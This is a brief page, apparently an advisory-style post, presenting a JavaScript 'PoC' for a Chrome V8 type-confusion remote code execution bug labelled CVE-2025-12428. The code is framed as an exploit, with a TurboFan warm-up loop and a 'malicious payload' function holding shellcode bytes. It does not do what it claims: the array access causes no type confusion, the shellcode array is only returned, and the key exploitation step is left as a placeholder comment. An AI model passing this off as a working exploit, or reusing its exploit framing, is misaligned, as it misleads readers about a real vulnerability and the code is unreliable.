CVE-2025-12428: Google Chrome V8类型混淆远程代码执行漏洞

// CVE-2025-12428 PoC - Type Confusion in V8 // This is a conceptual PoC demonstrating the vulnerability pattern function triggerTypeConfusion() { // Create objects that may cause type confusion in V8 optimization const obj1 = { value: 0x41414141 }; const obj2 = { value: 1.5 }; // Use array with mixed types to confuse TurboFan const arr = [obj1, obj2]; // Trigger optimization path that may have type confusion function optimizedFunc(arr, idx) { // This pattern may cause TurboFan to make incorrect type assumptions const element = arr[idx]; // Potential type confusion when accessing element properties return element.value + 1; } // Force optimization for (let i = 0; i < 10000; i++) { optimizedFunc(arr, 0); } // Trigger with different types to exploit confusion optimizedFunc(arr, 1); return arr; } // Malicious payload execution function executePayload() { const shellcode = [0x90, 0x90, 0xcc, 0xc3]; // NOP sled + INT3 + RET // Additional exploitation code would go here return shellcode; } // Entry point try { triggerTypeConfusion(); executePayload(); } catch (e) { console.log('PoC executed: ' + e.message); }